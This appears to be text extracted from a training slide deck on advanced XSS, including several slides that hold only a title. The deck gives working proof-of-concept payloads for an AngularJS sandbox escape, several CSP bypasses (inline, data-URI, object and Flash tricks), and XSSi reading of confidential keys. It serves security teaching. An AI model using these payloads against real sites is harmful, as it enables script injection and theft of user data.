XSS - Advanced Techniques
XSS - Advanced Techniques
2
��AngularJS sandbox
Angularjs sandbox - what is it
4
Angularjs sandbox - what is it
5
Angularjs sandbox - how does it work
❏ Parses an expression
❏ Rewrites the JS
❏ Checks if rewritten code s safe
● I.E. EnsureSafeObject()
6
AngularJS sandbox – How can
we escape?
❏ We need to trick the parser into thinking our JS is safe
❏ Most famous escape uses modified charAt() function
❏ 'a'.constructor.prototype.charAt=[ ].join
● Overwrites the charAt() function using [ ].join
● Causes charAt() to return ALL characters to it
● Due to logic of isIndent() from angularJS it will compare what it thinks is
single char to multiple chars
● This will make isIndent() always return true
7
AngularJS sandbox – How can
we escape?
● Now that isIndent() always returns true, er can insert our JS code
● $eval('x=alert(1)')
● This is angularjs eval function
● Overwriting charAt only works when sandboxed code is executed
● The angularJS eval forces the sandbox code to run
isIndent= function(ch) {
return ('a' <= ch && ch <= 'z' ||'A' <= ch && ch <= 'Z' ||'_' === ch || ch === '$');
}
8
��CSP - What is it?
CSP - What is it?
10
CSP - how it works
11
CSP - how it works
12
CSP - how do we bypass it?
13
CSP bypass-lack of object-src & default-src
❏ Content-Security-Policy: script-src
https://google.com ‘unsafe-inline’ https://*;
❏ child-src 'none';
❏ report-uri /Report-parsing-url;
❏ Working payload:
"/><script>alert(1);</script>
https://book.hacktricks.xyz/pentestingweb/content-securitypolicy-csp-bypass
14
CSP bypass - unsafe eval
❏ Content-Security-Policy: script-src
https://google.com ‘unsafe-eval’ data:
https://*;
❏ child-src 'none';
❏ report-uri /Report-parsing-url;
❏ Working payload:
<scriptsrc="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
https://book.hacktricks.xyz/pentestingweb/content-securitypolicy-csp-bypass
15
CSP bypass - wildcard
https://book.hacktricks.xyz/pentestingweb/content-securitypolicy-csp-bypass
16
CSP bypass-lack of object-src & default-src
❏ <object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwv
c2NyaXB0Pg=="> </object>
https://book.hacktricks.xyz/pentestingweb/content-securitypolicy-csp-bypass
17
CSP bypass-lack of object-src & default-src
❏ ">'><object
type="application/x-shockwaveflash"
data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/as
sets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//'><param
name="AllowScriptAccess"value="always"> </object>
https://book.hacktricks.xyz/pentestingweb/content-securitypolicy-csp-bypass
18
��Dangling markup injection
Dangling markup injection-not xss
20
Dangling markup injection-not xss
21
��Chaining XSS
Chaining xss
23
Chaining xss
24
Chaining xss
25
��XSSi
XSSi - what is it
27
Xssi - how to abuse it
● <script
src="https://www.vulnerabledomain.tld/script.js"></script>
● <script>alert(JSON.stringify(confidential_keys[0]));</script>
● First grab the script and the read the data with regex, using
keywords and json stringify,...
28
Xssi - how to abuse it
❏ Dynamic based JS
● Sometimes JS can be dynamically generated
● Might contain sensitive info when authenticated
● To know, request JS with and without cookies
● Authenticated request will look different
● If the extra JS code is in global variable we can use code
from our previous example
● Else we will need to overwrite the executed function
29
❏ And many more possibilities …
30